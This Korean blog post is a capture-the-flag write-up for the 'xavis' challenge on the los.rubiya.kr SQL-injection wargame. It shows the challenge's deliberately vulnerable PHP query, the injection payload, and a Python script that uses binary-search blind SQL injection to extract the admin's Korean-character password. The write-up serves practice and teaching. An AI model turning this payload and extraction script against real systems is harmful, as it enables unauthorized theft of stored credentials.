일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- 메모리 포랜식
- frontend
- Database
- spring
- ㅁㅇㅂ??ㅇㅈㄷ ㅎㅇㅌ...
- PyAmdecoder
- Layered Architecture
- riceteacatpanda
- 인턴 후기
- Django
- 정보보호병 후기
- 소프트웨어 개발보안 경진대회
- JSTL
- 동읍면 DB
- EER
- 인턴 지원
- 3단계 지역 DB
- webhacking 처음
- DBMS
- Forensic 절차
- SessionAttribute
- 행정지역 DB
- 소개딩
- restapi
- jsp
- 방명록 만들기
- mysql
- reversing.kr
- 네이버 인턴
- react
- Today
- Total
웹찢남
Xavis-writeup 본문
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/regex|like/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_xavis where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_xavis where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis");
highlight_file(__FILE__);
?>
처음엔 단순한 blind sql 인줄알고 스크립트를 만들어 돌리고 핸드폰을 하다보니
output이 없어서 당황 했다... 그래서 url에 > 연산자를 사용해봤더니 범위가 10000을 넘어 당황했다.
그래도 굴하지않고 한글 유니코드라 생각이 돼 가(0xAC00) 에서부터 힝(0xD7A3) 까지의 범위를 돌렸다.
돌리고 생각하니 이정도 범위면 자고 일어나야겠다 생각하여 알고리즘을 다시 짜 돌렸다..clear!!
import re
import requests
import time
flag = ''
length= 0
session =dict(PHPSESSID="자신의 PHPSESSID")
for i in range (1,20):
j=44032
j2=55215
j3=49623
while(1):
r=requests.post("https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw=1'or id='admin' and ord(substr(pw,"+str(i)+",1))>="+str(j3)+" --%20",cookies=session)
print(j3)
if 'Hello admin' in r.text:
r2=requests.post("https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw=1'or id='admin' and ord(substr(pw,"+str(i)+",1))="+str(j3)+" --%20",cookies=session)
if 'Hello admin' in r2.text:
flag=flag+chr(j3)
print("finding pw: "+flag)
break
j=j3
j3=(j3+j2)//2
else:
j2=j3
j3=(j3+j)//2
print("pw "+flag)
'WEB_HACKING > los.rubiya.kr' 카테고리의 다른 글
iron_golem-writeup (0) | 2020.01.29 |
---|---|
Dragon-writeup (0) | 2019.12.28 |
Nightmare-writeup (0) | 2019.12.28 |
Zombie_assassin-writeup (0) | 2019.12.28 |
Succubus-writeup (0) | 2019.12.28 |